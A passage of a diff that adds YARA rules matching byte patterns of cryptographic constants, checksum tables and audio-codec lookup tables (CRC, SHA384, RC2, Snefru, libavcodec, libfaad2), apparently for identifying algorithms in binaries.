+	$a0 = { 060000000600000006000001060000100600001106000100060001010600011006000111060010000600100106001010060010110600110006001101060011100600111106010000060100010601001006010011060101000601010106010110060101110601100006011001060110100601101106011100060111010601111006011111061000000610000106100010061000110610010006100101061001100610011106101000061010010610101006101011061011000610110106101110061011110611000006110001061100100611001106110100061101010611011006110111061110000611100106111010061110110611110006111101061111100400000400010400020400030400100400110400120400130400200400210400220400230400300400310400320400330401000401010401020401030401100401110401120401130401200401210401220401230401300401310401320401330402000402010402020402030402100402110402120402130402200402210402220402230402300402310402320402330403000403010403020403030403100403110403120403130403200403210403220403230403300403310403320403330410000410010410020410030410100410110410120410130410200410210410220410230410300410310410320410330411000411010411020411030411100411110411120411130411200411210411220411230411300411310411320411330412000412010412020412030412100412110412120412130412200412210412220412230412300412310412320412330413000413010413020413030413100413110413120413130413200413210413220413230413300413310413320413330200021002200230024002500260027002010211022102310241025102610271020202120222023202420252026202720203021302230233024302530263027302040214022402340244025402640274020502150225023502450255026502750206021602260236024602560266027602070217022702370247025702670277 }
+
+condition:
+	$a0
+}
+
+	
+rule PSX_VAG_f_decoder__flt64___64_lil_80_
+{
+strings:
+	$a0 = { 00000000000000000000000000000000000000000000ee3f00000000000000000000000000c0fc3f000000000000eabf000000000080f83f000000000080ebbf000000000080fe3f000000000000eebf }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_log2_tab__flt64___64_big_520_
+{
+strings:
+	$a0 = { 00000000000000003f96e79685c2d2b73fa6bad3758efd483fb0eb389fa29f7c3fb663f6fac912f93fbbc84240adabb73fc08c588cda79d33fc32ae9e278ae183fc5c01a39fbd67b3fc84c2bd02f03ab3fcacf5e2db4ec9c3fcd49ee4c3259743fcfbc16b90267f83fd11307dad30b6f3fd24407ab0e07333fd37124cea4cdee3fd49a784bcd1b853fd5c01a39fbd68d3fd6e221cd9d0ce43fd800a563161c593fd91bba891f17043fda33760a7f60553fdb47ebf73882a23fdc592fad295b513fdd6753e032ea0a3fde726aa1e754d63fdf7a8568cb06d43fe03fda8b97997d3fe0c10500d63aa73fe140c9faa1e5403fe1bf311e95d00b3fe23c41d42727c93fe2b803473f7acf3fe3327c6ab49caa3fe3abb3faa021653fe423b07e986aad3fe49a784bcd1b8e3fe510118708a8fb3fe5848226989d373fe5f7cff41e09ab3fe66a008e4788ca3fe6db196a76194d3fe74b1fd64e07523fe7ba18f93502e53fe82809d5be70773fe894f74b06ef883fe900e6160002d13fe96bdad2acb5f63fe9d5d9fd5010b23fea3ee7f38e18213feaa708f58014d63feb0e4126bcc86a3feb74948f5532d93febda071cc67e723fec3e9ca2e1a0533feca258dca933123fed053f6d26089b3fed6753e032ea133fedc899ab3ff56a3fee29142e0e01413fee88c6b3626a713feee7b471b3a9503fef45e08bcf065a3fefa34e1177c2353ff0000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cvh_huffcodes3__16_big_1214_
+{
+strings:
+	$a0 = { 00000004002200c603b0000c000d002300c703b1005c00c800c903b20fa401c201c303b30fa57f7203b407b21f9aff24ff25000e002400ca03b507b3000f002500cb03b60fa6005d005e00cc03b71f9b01c401c503b80fa77f730fa807b41f9cff26ff27005f01c603b90fa97f74006000cd03ba0faa1f9d01c701c807b51f9eff2807b607b70fab3fa2ff290fac0fad3fa3ff2a3fa201c907b80faeff2bff2c01ca03bb1f9f7f75ff2d03bc07b90fafff2eff2f1fa01fa1ff30ff31ff32ff33ff347f76ff35ff3107ba1fa2ff36ff377f7707bb1fa37f78ff38ff391fa41fa5ff3aff3bff2e3fa4ff3cff3dff3eff31ff3fff40ff30ff31ff310005002600ce03bd1fa60027002800cf03be1fa701cb00d003bf0fb0ff4103c003c107bc7f79ff421fa80fb13fa5ff43ff440010002900d107bd1fa9002a002b00d203c21faa00d300d401cc07be3fa603c303c40fb20fb3ff451fab0fb41fac7f7aff46006100d501cd0fb5ff47006200d603c50fb63fa701ce01cf03c61fadff4807bf03c70fb77f7bff491fae1fafff4aff4b7f7b01d007c01fb0ff4cff4d01d103c80fb87f7cff4e03c907c11fb1ff4fff501fb20fb9ff51ff52ff53ff54ff55ff56ff57ff5207c21fb3ff58ff59ff5a07c31fb4ff5bff5cff5d0fba1fb57f7dff5eff4fff5fff60ff61ff62ff52ff63ff64ff51ff52ff52002c00d707c41fb6ff6500d800d903ca0fbbff6607c503cb07c61fb7ff670fbc1fb81fb97f7eff68ff69ff6a3fa8ff6b7f7e002d00da03cc1fbaff6c00db00dc03cd0fbdff6d03ce03cf07c71fbbff6e1fbc0fbe1fbdff6fff703fa93faa3fabff71ff6f00dd01d207c81fbeff7200de01d307c9ff733fac03d003d10fbf7f7fff740fc00fc11fbfff75ff767f80ff77ff78ff79ff7503d20fc27f81ff7aff7b03d30fc30fc43fadff7c0fc50fc61fc0ff7dff7e3fae7f82ff7fff80ff80ff81ff82ff83ff80ff800fc77f837f84ff84ff7a1fc11fc2ff85ff863fad3fafff87ff88ff89ff7dff8aff8bff8cff80ff803fae7f82ff7fff80ff8000df03d41fc37f85ff8d03d507ca1fc4ff8eff8f1fc51fc63fb0ff90ff91ff92ff93ff94ff95ff96ff97ff98ff99ff9aff9500e003d607cb7f86ff9b01d403d70fc8ff9cff9d0fc90fca7f87ff9eff9fffa03fb1ffa1ffa2ffa3ffa4ffa5ffa6ffa7ffa201d507cc3fb2ffa8ffa903d807cd1fc7ffaaffab3fb31fc83fb4ffacffadffae7f887f89ffafffafffb0ffb1ffb2ffafffaf07ce1fc9ffb3ffb4ffb507cf1fca7f8affb6ffb71fcbffb8ffb9ffbaffbaffbbffbcffbdffbeffbeffbfffc0ffbdffbeffbe7f8bffc1ffc2ffc3ffb43fb5ffc4ffc5ffc6ffb6ffc7ffc8ffc9ffbaffbaffcaffcbffbdffbeffbeffbbffbcffbdffbeffbe01d61fccffccffcdffce07d01fcdffcfffd0ffd13fb67f8cffd2ffd3ff907f8dffd4ffd5ffd6ff95ffd7ffd8ff94ff95ff9501d71fce7f8e7f8fffd90fcb1fcf3fb7ffdaffdbffdc7f90ffddffdeff9effdfffe0ffe1ffe2ffa2ffe3ffe4ffa1ffa2ffa207d11fd07f91ffe5ffa80fcc3fb8ffe6ffe7ffaaffe8ffe9ffeaffebffacffecffedffeeffafffafffae7f887f89ffafffafffeffff0fff1fff2ffb4fff3fff4fff5fff6ffb6fff7fff8fff9ffbaffbafffafffbffbdffbeffbeffbbffbcffbdffbeffbefffcfffdffb3ffb4ffb4fffeffff }
+
+condition:
+	$a0
+}
+
+	
+rule Speed_Challenge_files_decoder__8_byt_41_
+{
+strings:
+	$a0 = { cf203af7127ef19ff19ab16bac484af8411f47b42f2dd1377fead1d7056b5576e4d8359f5020f6d298 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32_IEEE_802_3_poly_0x04C11DB7__32_big_refl_False_
+{
+strings:
+	$a0 = { 0000000004c11db709823b6e0d4326d9130476dc17c56b6b1a864db21e4750052608edb822c9f00f2f8ad6d62b4bcb61350c9b6431cd86d33c8ea00a384fbdbd4c11db7048d0c6c74593e01e4152fda95f15adac5bd4b01b569796c252568b756a1936c86ed82b7f639b0da6675a1011791d40147ddc5da3709f7b7a745e66cd9823b6e09ce2ab5791a18d8e956090398b27c03c8fe6dd8b82a5fb528664e6e5be2b5b58baea46efb7a96036b3687d81ad2f2d84a9ee3033a4ad16eaa06c0b5dd4326d90d0f37027ddb056fed9714b49c7361b4cc3f706fbceb42022ca753d95f23a8028f6fb9d9ffbb8bb46ff79a6f1e13ef6f4e5ffeb43e8bccd9aec7dd02d3486707730476dc03d044b1939c556ae278206ab23431b1c2e003dc52ac12072128e9dcf164f80781b0ca6a11fcdbb16018aeb13054bf6a40808d07d0cc9cdca7897ab077c56b6b07115906975d48dde6b93dddb6f52c06c6211e6b566d0fb025e9f46bf5a5e5b08571d7dd153dc60664d9b3063495a2dd444190b0d40d816baaca5c697a864db20a527fdf9a1e6e04ebfa1b04bbb60adfcb6238b25b2e296928aad2b2f8e6c3698832f104187ee0df699a95df39d684044902b669d94ea7b2ae0b41de7e4750050e9362689edf73b3ef3b06b3bf771768cfa325055fef34de2c6bcf05fc27dede8cf3ecb31cbffd686d5b88683d1799b34dc3abdedd8fba05a690ce0ee6dcdfd59608edb80644fc6377a0896327ec98b85738aad5c774bb0eb4f040d564bc510e14686363842472b8f5c007b8a58c1663d558240e451435d53251d3b9e21dc26292c9f00f0285e1d4736194d4232d850f53f9b762c3b5a6b9b0315d62607d4cb910a97ed480e56f0ff1011a0fa14d0bd4d19939b941d528623f12f560ef5ee4bb9f8ad6d60fc6c70d7e22b20d2e6ea3d65eba91bbcef68060bd727bbb6d3e6a601dea580d8da649d6fc423cd6ac0e2d0ddcda1f604c960ebb3bd3e8d7eb9ff90c9b4bcb610b07daba7ae3afba2aafbe615a7b8c0cca379dd7b9b3660c69ff77d7192b45ba89675461f8832161a8cf30bad81b02d74857130c35d8a9099594b8d2e5408abf750c9b6404e8ee6454a4ffbf2470cdd2b43cdc09c7b827d217f4360967200464f76c15bf868860bfd6c47164a6104309365c52d24119b4be9155a565e181970871cd86d30029f3d35065e20820b1d065b0fdc1bec3793a6513352bbe63e119d3f3ad080882497d08d2056cd3a2d15ebe329d4f654c5a92679c1683bcecc2b1d17c8ea00a0d6ad50a5d26c4d12df2f6bcbdbee767ce3a1cbc1e760d676ea23f0afeee2ed18f0a5bd1df464a0aaf9278673fde69bc489b8fd098d79e0be803ac66784fbdbd09abc8bd59e7d9662933eb0bb97ffad0cafb010b1ab710d06a6322bdfa2f33668bcb4666db8757bdab5365d03b1f740b4 }
+
+condition:
+	$a0
+}
+
+	
+rule id3tag_genre_alpha_map__8_byt_148_
+{
+strings:
+	$a0 = { 7b224a496314281a915a74298755608a59006b844158686661883d8d20017080398c028b3a037d321604377f7a78623430367c195450735177051e243b7e26315b06814f890723648313212e2f081d923f56472d8e094d5240850a42270b670c4b860d353e6d75176c5c435d2b790f440e104c5776114e8f726e45156f5f692a2518382c65535e6a9371123382903c461f481b1c }
+
+condition:
+	$a0
+}
+
+	
+rule Zodiac_SS1__16_big_512_
+{
+strings:
+	$a0 = { 12004a002600c800d2006200ce00e7002e00c300fb007c00650048008f00b80076003d00a5008e0086005700bd00bc001f00ef000c00e00078007100110075009500d9009b009e00b900a400f70002007f00800083007e00be005600960073009f0088002a00140089009a00f900dc0032006d00de006a0084007200d8008a00d700e30008004e001e00b3005d005000d600eb00b1000d00cf00ad00c6000e007d00a000dd009c0041001c00cd001a00380034005b00230003008c006800460053000400a9002700ac00e6001b00fc002f00a3000b002800e4000f00da00d400c400d50094008b0090006b009d00f800ae0063007a000700e200ea00c500db0098001500c1000a00a200c200300044005a00f1003a006e00a800c90055004d0020006f00f2003500590019007700bb0092006c002c00450066004200f30039002900c000e8004f00e500c700b000e1008d00f600000001007b00d100cb005200fd00cc0058003f00ee00b200ff004000aa004b007400b40060005f0099002b009100df00f400470021003b0033009300af00d30016005e00360043004900a600d0000600b600700081008200a100fa00970085007900b700ba003c001000b500ab001300a7006400e900090054002500370067001d00fe00f50069002d0031002200f00018003e00610017005100ec000500ca00ed005c008700bf004c002400 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_real_audio_288_gain_window__flt32___32_big_152_
+{
+strings:
+	$a0 = { 3f01758e3f0631f93f0b1c433f10346e3f157e003f1af8003f20a4003f2686003f2ca0003f32f2003f397e003f404a003f4754003f4ea0003f5630003f5e08003f662a003f6e98003f7624003f7b96003f7ee2003f8000003f7eee003f7bb0003f764a003f6eca003f6540003f59c0003f4c64003f3d48003f2c90003f1a5e003f06da003ee45c003eb914003e8c34003e3c48003dbd2000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_weights1__flt64___64_lil_248_
+{
+strings:
+	$a0 = { e8dec325c79dbe3fcf4a5af10d85bf3f89d1730b5d89c03f65a2adef6888b93f124bcadde7f8b43fb72d2526039bb83f6d0377a04e79b63f3fd69d38ca0bb63feb68c1300510b73f92b5e10bee62b93fbb09be69faecbc3fbde0d39cbcc8c03fad1402b9c491c33fd0d4eb1681b1c63f5bb56b425a63cc3fde019eb47059cf3fde205a2bda1cd13f28ee7893dfa2d33fa5a14621c9acd43f4a24d1cb2896d53f5c9203763579d73f3f373465a71fd93fc6a354c2137ad93f3f541a31b3cfd93f25ccb4fd2b2bdb3fdcd440f33977dc3f895c70067fbfdc3f2e1c08c90226dd3f47e9d2bf2495de3f6edfa3fe7a05e03f695721e52755e03f }
+
+condition:
+	$a0
+}
+
+	
+rule SecuDE_random_mult__32_big_32_
+{
+strings:
+	$a0 = { 1234567589abcdef471108151f2e3d4c256345fcfdbc24542345fbacfd6a87fb }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_celp_math_base_cos_G729_BITEXACT__16_big_128_
+{
+strings:
+	$a0 = { 7FFF7FD97F627E9D7D8A7C2A7A7D7885764273B670E36DCA6A6E66D062F25ED75A8255F651344C40471D41CE3C5736BA30FC2B1F25281F1A18F912C80C8C06480000F9B8F374ED38E707E0E6DAD8D4E1CF04C946C3A9BE32B8E3B3C0AECCAA0AA57EA1299D0E9930959292368F1D8C4A89BE877B858383D682768163809E8027 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_CCITT_poly_0x1021__16_lil_refl_True_
+{
+strings:
+	$a0 = { 0000891112239b322446ad573665bf74488cc19d5aafd3be6ccae5db7ee9f7f88110080193331a22a5562c47b7753e64c99c408ddbbf52aeedda64cbfff976e802218b30100299132667af763444bd554aadc3bc588ed19f6eebe7fa7cc8f5d983310a2091121803a7772e66b5543c45cbbd42acd99e508feffb66eafdd874c904428d5316619f702004a9153227bb364ccec5df5eedd7fc6888e1997aabf3ba85520c4397711e60a1142805b3373a26cdde44cfdffd56ece9986089fbbb72aa06638f7214409d512225ab343006b9174eefc7fe5cccd5dd6aa9e3b8788af19b87730e6295501c41a3352a24b1163807cfff46eedddc54cdebb962a8f99a708b088481951aa793b62cc2a5d33ee1b7f04008c919522bdb3a644eed5f766dff7c899400859bb712a6add224c3bff136e0c1184809d33b5a2ae55e6c4ff77d7e6c0aa583b4188691972ee3a7f23cc0b5d14229cb38500ad91b666fef7e744cfd5d8bb502a499961087aff326e2bdd034c1c3394a28d11a580be77f6e6ef55c7c4d0cc685d71ee597f42880a1913aa3b3b2444acd5b5669df78600ce91d722ffb3e8dd604c79ff516e4a9902081bbb332a2c55a4c4bd7795e68e11c680df33f7a2e0ee787f61cc495d52aa1a3b03882b193466bcf7a5448dd59622deb3c700ef91f8ff706e69dd414c5abb122a0b9923083c77b4e6ad5585c49e33d6a2cf11e780f }
+
+condition:
+	$a0
+}
+
+	
+rule base64_map__8_byt_80_
+{
+strings:
+	$a0 = { 3effffff3f3435363738393a3b3c3dffffffffffffff000102030405060708090a0b0c0d0e0f10111213141516171819ffffffffffff1a1b1c1d1e1f202122232425262728292a2b2c2d2e2f30313233 }
+
+condition:
+	$a0
+}
+
+	
+rule Wake_crypto_algorithm__32_lil_32_
+{
+strings:
+	$a0 = { 3b8f6a725c3b9ae6e51fc7d3d2733cabb38e3a4de8d696037a2f4c3df37ce29e }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pan_quant__flt64___64_big_320_
+{
+strings:
+	$a0 = { 000000000000000000000000000000000000000000000000000000000000000000000000000000003fc542c3c9eecbfb3fc542c3c9eecbfb3fd542c3c9eecbfb3fd542c3c9eecbfb3fd542c3c9eecbfb3fd542c3c9eecbfb3fd542c3c9eecbfb3fe542c3c9eecbfb3fea9374bc6a7efa3fea9374bc6a7efa3fdfe425aee631f93fe542c3c9eecbfb3fefe425aee631f93ff7eb1c432ca57a3ffa9374bc6a7efa3fe542c3c9eecbfb3fefe425aee631f93ff7eb1c432ca57a4001463f141205bc4003ee631f8a09033fea9374bc6a7efa3ff542c3c9eecbfb4001463f141205bc4007eae7d566cf42400be76c8b4395813fefe425aee631f93ffd3bcd35a85879400696bb98c7e282400e8fc504816f0040129a5119ce075f3ff542c3c9eecbfb40029a36e2eb1c43400be76c8b43958140129a5119ce075f401740ebedfa43fe }
+
+condition:
+	$a0
+}
+
+	
+rule SHA384__64_big_AND_
+{
+strings:
+	$a0 = { cbbb9d5dc1059ed8[0-20]629a292a367cd507[0-20]9159015a3070dd17[0-20]152fecd8f70e5939[0-20]67332667ffc00b31[0-20]8eb44a8768581511[0-20]db0c2e0d64f98fa7[0-20]47b5481dbefa4fa4[0-20]428a2f98d728ae22[0-20]7137449123ef65cd[0-20]b5c0fbcfec4d3b2f[0-20]e9b5dba58189dbbc[0-20]3956c25bf348b538[0-20]59f111f1b605d019[0-20]923f82a4af194f9b[0-20]ab1c5ed5da6d8118[0-20]d807aa98a3030242[0-20]12835b0145706fbe[0-20]243185be4ee4b28c[0-20]550c7dc3d5ffb4e2[0-20]72be5d74f27b896f[0-20]80deb1fe3b1696b1[0-20]9bdc06a725c71235[0-20]c19bf174cf692694[0-20]e49b69c19ef14ad2[0-20]efbe4786384f25e3[0-20]0fc19dc68b8cd5b5[0-20]240ca1cc77ac9c65[0-20]2de92c6f592b0275[0-20]4a7484aa6ea6e483[0-20]5cb0a9dcbd41fbd4[0-20]76f988da831153b5[0-20]983e5152ee66dfab[0-20]a831c66d2db43210[0-20]b00327c898fb213f[0-20]bf597fc7beef0ee4[0-20]c6e00bf33da88fc2[0-20]d5a79147930aa725[0-20]06ca6351e003826f[0-20]142929670a0e6e70[0-20]27b70a8546d22ffc[0-20]2e1b21385c26c926[0-20]4d2c6dfc5ac42aed[0-20]53380d139d95b3df[0-20]650a73548baf63de[0-20]766a0abb3c77b2a8[0-20]81c2c92e47edaee6[0-20]92722c851482353b[0-20]a2bfe8a14cf10364[0-20]a81a664bbc423001[0-20]c24b8b70d0f89791[0-20]c76c51a30654be30[0-20]d192e819d6ef5218[0-20]d69906245565a910[0-20]f40e35855771202a[0-20]106aa07032bbd1b8[0-20]19a4c116b8d2d0c8[0-20]1e376c085141ab53[0-20]2748774cdf8eeb99[0-20]34b0bcb5e19b48a8[0-20]391c0cb3c5c95a63[0-20]4ed8aa4ae3418acb[0-20]5b9cca4f7763e373[0-20]682e6ff3d6b2b8a3[0-20]748f82ee5defb2fc[0-20]78a5636f43172f60[0-20]84c87814a1f0ab72[0-20]8cc702081a6439ec[0-20]90befffa23631e28[0-20]a4506cebde82bde9[0-20]bef9a3f7b2c67915[0-20]c67178f2e372532b[0-20]ca273eceea26619c[0-20]d186b8c721c0c207[0-20]eada7dd6cde0eb1e[0-20]f57d4f7fee6ed178[0-20]06f067aa72176fba[0-20]0a637dc5a2c898a6[0-20]113f9804bef90dae[0-20]1b710b35131c471b[0-20]28db77f523047d84[0-20]32caab7b40c72493[0-20]3c9ebe0a15c9bebc[0-20]431d67c49c100d4c[0-20]4cc5d4becb3e42b6[0-20]597f299cfc657e2a[0-20]5fcb6fab3ad6faec[0-20]6c44198c4a475817 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_1_poly_0x1__8_byt_refl_True_
+{
+strings:
+	$a0 = { 000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f404142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff }
+
+condition:
+	$a0
+}
+
+	
+rule liba52_scale_factor_float__flt32___32_big_100_
+{
+strings:
+	$a0 = { 38000000378000003700000036800000360000003580000035000000348000003400000033800000330000003280000032000000318000003100000030800000300000002f8000002f0000002e8000002e0000002d8000002d0000002c8000002c000000 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_book7__32_big_768_
+{
+strings:
+	$a0 = { 0000000000000001000000000000000100000003000000050000000200000006000000370000000300000007000000740000000400000008000000f20000000500000009000001eb000000060000000a000003ed000000070000000b000007f700000008000000030000000400000009000000040000000c0000000a00000006000000350000000b00000007000000710000000c00000008000000ec0000000d00000008000000ee0000000e00000009000001ee0000000f00000009000001f50000001000000006000000360000001100000006000000340000001200000007000000720000001300000008000000ea0000001400000008000000f10000001500000009000001e90000001600000009000001f3000000170000000a000003f50000001800000007000000730000001900000007000000700000001a00000008000000eb0000001b00000008000000f00000001c00000009000001f10000001d00000009000001f00000001e0000000a000003ec0000001f0000000a000003fa0000002000000008000000f30000002100000008000000ed0000002200000009000001e80000002300000009000001ef000000240000000a000003ef000000250000000a000003f1000000260000000a000003f9000000270000000b000007fb0000002800000009000001ed0000002900000008000000ef0000002a00000009000001ea0000002b00000009000001f20000002c0000000a000003f30000002d0000000a000003f80000002e0000000b000007f90000002f0000000b000007fc000000300000000a000003ee0000003100000009000001ec0000003200000009000001f4000000330000000a000003f4000000340000000a000003f7000000350000000b000007f8000000360000000c00000ffd000000370000000c00000ffe000000380000000b000007f6000000390000000a000003f00000003a0000000a000003f20000003b0000000a000003f60000003c0000000b000007fa0000003d0000000b000007fd0000003e0000000c00000ffc0000003f0000000c00000fff }
+
+condition:
+	$a0
+}
+
+	
+rule RC2_skey_key_table__8_byt_256_
+{
+strings:
+	$a0 = { d978f9c419ddb5ed28e9fd794aa0d89dc67e37832b76538e624c6488448bfba2179a59f587b34f1361456d8d09817d32bd8f40eb86b77b0bf09521225c6b4e8254d66593ce60b21c7356c014a78cf1dc1275ca1f3bbee4d1423dd430a33cb6266fbf0eda4669075727f21d9bbc944303f811c7f690ef3ee706c3d52fc8661ed708e8eade8052eef784aa72ac354d6a2a961ad2715a1549744b9fd05e0418a4ecc2e0416e0f51cbcc2491af50a1f47039997c3a8523b8b47afc02365b255597312d5dfa98e38a92ae05df2910676cbac9d300e6cfe19ea82c6316013f58e289a90d38341bab33ffb0bb480c5fb9b1cd2ec5f3db47e5a59c770aa62068fe7fc1ad }
+
+condition:
+	$a0
+}
+
+	
+rule Snefru_S_box_2__32_big_1024_
+{
+strings:
+	$a0 = { 4a8fe4e3f27d99cdd04a40cacb5ff1943668275aff4816bea78b394c4c6be9db4eec38d24296ec80cdce96f8888c2f38e75508f57b916414060aa14aa214f327be608daf1ebbdec261f98ce9e92156fe4f22d7a33f76a8d9559a4b3338ad2959f3f17e9e85e1ba91e5eba6fb73dcd48cf5c3ff78481b60588a3297f78f1f3bf493785ab2477a4a5b6334eb5d6d251b2e74a9102d07e38ffa915c9c62ccc275ea6be273ec3ebddd70d895796cdc54a91bc9afdf8123633f73275119b4b19f6b6750756e222bb152e276ea46a2a353e2322f596ad60b1edb0b02d3d9a478b4784364893e9040f0caadf68d3ad746fd17071c9c67efb5e086de96ee6ca69aa347741ba4f48a8d01abfd183ee1f65ff8aa7a17e4faae303983b06c08668bd4ac4382e6c5849f92fefb53c1cac4ce43501388441118cfec4fb30853a08e869e0fe0c5f91c1525ac45be05d7987cb549ba148757938940d5877648a958727f58dfe3c3f436cf77399e4d11f0a5bfa9ef61a33ba64cac6004a8d0ba030dd572b83d320fcab23045e366f2f0815d008dc897a43a1d352df3b9cc571d8bf3874472209092eba124ebfb99ce5e3bb9429328da549caab8a228a419778533c7029625f6259b5c85da21df15bdee15b7c7e8e2abef75fcc19bc1417ff8681488443462825179c6d5c11c0e4705dc22700de0d3d2af189be822a035b669f1c42bb55c0a801252115bf0fc3cd7d856b43f5f9dc2306516a1231c47f149207e5209a79534b3ccd867aefe542c83924e6662cbac5eedd16184e681aa5d57d26bfa465cc47e3ac3a8bf7c0cc6e18a9aa1c32f0a6fb22cc00d3d280369994e554f68f480d3adcff5e63a8eb26583269831bd568a094bc8ae6a69f56d2b0f17eac8772eb6c79f41343cab1d0742826a6f50fea2097c1912c283ce185899e44448392d8635d565d0b1ff865a7f17326d9fb159e528200090ade1753c71499ddd8b98a5a691da0d0382bb8904c930086cb0006e69d3bd24d4e7a705244fd0101a5e0c6a947dcbe840f77b7d0c50037c370f1f805245ede05e3d3f7906880ebabfcd351a7ec6978c0523240c6ec8dfd129a589c7a75b0212d81de7d9be2a661f4263abde73fdb62a00680a56649e363133ed5590fa0bf22910a02a949d9d46a0d1dcddcfc9b7d4d2677be595cb36b313cd9410dbf73313b7c6e8c0f781414b510b016db0de1157d6b0f62cbb074ecc7f1395b7ee792cf9ea6fd63e5bd6938eaf02fc64dab57ab88edb37848716318f164d1a0126f26141b372e6b9f8fc2b067ac00e043727b89a97e9bca59c2a742fbc3b1f7d7165b471609b4c29209253515ae72112454be5d1c0ffb95fdd0ef9196f2d70c90974c5bf98aa626301d91e4d2184bb6e70c43c1e4d435915ae7b8523b6fb06bc5431ee76fdbc5d26ed77493dc5712ee4a83804372eef261a }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qdm2_fft_tone_envelope_table__flt64___64_lil_992_
+{
+strings:
+	$a0 = { 4f3c670b08ad833f9513e000a27ca33fb9e4c77e6792b53f5a24717fc3bec23fcbd41fbf8971cc3f28a62ec00ec1d33fb26e2620d2c1d93f535636200000e03f244a3e20171fe33f3f031fc0781fe63feb1b00c09de3e83fdd9cd03f4f50eb3f922e4220b34ded3f1a55280036c8ee3f62b908004cb1ef3f000000000000f03f0f63d2df4bb1ef3fc7fef1df35c8ee3f3fd80b00b34ded3f9660edff4e50eb3fa4df1c809de3e83ff8c63b80781fe63f7d9dd1df161fe33f000000000000e03f5f18f0ffd1c1d93fd54ff89f0ec1d33fa2e9d8808971cc3fb477043fc3bec23f6c8beefd6692b53ffb602dffa07ca33fe6719c0404ad833f9513e000a27ca33f5a24717fc3bec23f28a62ec00ec1d33f535636200000e03f3f031fc0781fe63fdd9cd03f4f50eb3f1a55280036c8ee3f000000000000f03fc7fef1df35c8ee3f9660edff4e50eb3ff8c63b80781fe63f000000000000e03fd54ff89f0ec1d33fb477043fc3bec23ffb602dffa07ca33f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005a24717fc3bec23f535636200000e03fdd9cd03f4f50eb3f000000000000f03f9660edff4e50eb3f000000000000e03fb477043fc3bec23f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000535636200000e03f000000000000f03f000000000000e03f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_cb_2__16_big_32_
+{
+strings:
+	$a0 = { 96f8a3b4af45ba53c4b1ceccd86fe21eebf3f64000f70c201881269a376b4d60 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_lossless_quant_d__flt64___64_lil_256_
+{
+strings:
+	$a0 = { 0000000000000000000000000000f03f000000000000e03f1f85eb51b81ed53f000000000000d03f736891ed7c3fc53f000000000000c03f736891ed7c3fb53f000000000000b03f000000000000a03fde718a8ee4f28f3fa5dde8633e20803f1633c2db8310703f1fd8f15f2008603fa4aa09a2ee03503fe69315c3d501403f01be8003ff00303f01be8003ff00203f7cac09375300103f7cac09375300003f7cac09375300f03e8bd6548d93ffdf3e7cac09375300d03e1d5496ac80febf3ecdf8493d1c00b03edb2295935cff9f3edb2295935cff8f3e00000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libmpdvdkit2_css_pp_perm_variant__8_byt_64_
+{
+strings:
+	$a0 = { 0a080e0c0b090f0d1a181e1c1b191f1d02000604030107051210161413111715121a161e020a060e1018141c0008040c131b171f030b070f1119151d0109050d }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_Q_Fract_allpass_Qmf__flt32___32_big_1536_
+{
+strings:
+	$a0 = { 3f47ca493f200fe73ec3ef153f6c835e3f5ae75e3f04bac4bee13fb63f65e522bf6c835ebec3ef15bd83ce353f7f7823bf78ed3cbe6f0c513f6c835ebec3ef15bf6a23b23ecf061f3c80acccbf7ff7eabec3ef153f6c835ebf480a96bf1fbf833f7aae59be4fa772bec3ef15bf6c835e3e449dcbbf7b3c983ed2b1ff3f6951ba3f6c835e3ec3ef153f757ef3be9128a5bf4cb8243f19b522bf6c835e3ec3ef153f31dd5b3f381eb6bf42a9f5bf26423c3ec3ef15bf6c835ebea209473f72d7763eef9485bf623e753ec3ef153f6c835ebf7cc8f63e21c6fe3f76ed3b3e871a65bf6c835ebec3ef15bf18bdbbbf4d70fcbd40f2f13f7fb73f3f6c835ebec3ef153edf1467bf666c58bf7c30213e300e1ebec3ef153f6c835e3f7fe2d1bcf47444bec3ef0dbf6c8360bec3ef15bf6c835e3efa2c8d3f5f5be73f517245bf1333873f6c835e3ec3ef15bf0c36ae3f562feb3f3d58733f2c4a90bf6c835e3ec3ef15bf7ebf5cbdca570ebefdaccc3f5e5ea03ec3ef15bf6c835ebebeb88ebf6d9379bf74aed8be968c803ec3ef153f6c835e3f269076bf42670a3da0af5ebf7f35f9bf6c835ebec3ef153f79636d3e67387d3f7d7232be10484e3f6c835ebec3ef153e801ba33f77db643eb4fa9